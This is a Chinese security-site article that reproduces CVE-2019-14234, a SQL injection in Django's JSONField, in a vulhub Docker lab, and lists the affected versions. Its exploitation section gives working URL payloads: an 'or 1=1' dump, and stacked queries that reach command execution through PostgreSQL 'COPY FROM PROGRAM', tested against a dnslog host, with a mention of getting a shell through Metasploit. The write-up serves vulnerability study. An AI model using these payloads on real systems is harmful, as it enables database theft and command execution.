freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

CVE-2019-14234 Django JSONField SQL注入漏洞复现
2020-07-28 20:07:46

0x01简介

Django是一款广为流行的开源web框架,由Python编写,许多网站和app都基于Django开发。

什么是JSONField,Django是一个大而全的Web框架,其支持很多数据库引擎,包括Postgresql、Mysql、Oracle、Sqlite3等,但与Django天生为一对儿的数据库莫过于Postgresql了,Django官方也建议配合Postgresql一起使用。

相比于Mysql,Postgresql支持的数据类型更加丰富,其对JSON格式数据的支持也让这个关系型数据库拥有了NoSQL的一些特点。

0x02漏洞简介

该漏洞需要开发者使用了JSONField/HStoreField,且用户可控queryset查询时的键名,在键名的位置注入SQL语句。

Django通常搭配postgresql数据库,而JSONField是该数据库的一种数据类型。该漏洞的出现的原因在于Django中JSONField类的实现,Django的model最本质的作用是生成SQL语句,而在Django通过JSONField生成sql语句时,是通过简单的字符串拼接。

通过JSONField类获得KeyTransform类并生成sql语句的位置。

其中key_name是可控的字符串,最终生成的语句是WHERE (field->’[key_name]’) =

‘value’,因此可以进行SQL注入。

0x03影响版本

Django 主开发分支

Django 2.2.x < 2.2.4

Django 2.1.x < 2.1.11

Django 1.11.x < 1.11.23

0x04环境搭建

使用vulhub的docker环境搭建

vulhub下载地址:https://github.com/vulhub/vulhub

cd vulhub/django/CVE-2019-14234/

docker-compose up -d

在浏览器访问http://ip:8000出现一下页面说明搭建成功

0x05漏洞利用

通过对代码的分析,可以知道如果在你的Django中使用了JSONField并且查询的“键名”可控,就可以进行SQL注入

访问http://ip:8000/admin

输入用户名admin ,密码a123123123

 

然后构造URL进行查询,payload:

http://ip:8000/admin/vuln/collection/?detail__a'b=123

 

可以看到上图已经注入成功,并且可以看到构造的SQL语句,继续构造payload

http://ip:8000/admin/vuln/collection/?detail__title%27)%3d%271%27 or 1%3d1%2d%2d%20

由于or 1=1永为真,因此应该返回所有结果

 

我们结合CVE-2019-9193我们尝试进行命令注入,构造url如下

http://192.168.10.195:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcreate table cmd_exec(cmd_output text)--%20

页面结果虽然报错,但是报错原因是no results to fetch,说明我们的语句已经执行

 

使用dnslog检测是否可以执行命令

Dnslog网址:http://dnslog.cn/

Payload:

http://192.168.10.195:8000/admin/vuln/collection/?detail__title')%3d'1' or 1%3d1 %3bcopy cmd_exec FROM PROGRAM 'ping k1anij.dnslog.cn

'--%20

 

成功检测到流量

 

复现环境里的postgresql数据库docker没对外的端口映射,如果开了或者真实环境里,还可以结合msf通过CVE-2019-9193来getshell

0x06修复方式

更新到最新版本

 
# 漏洞复现 # SQL注入漏洞
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者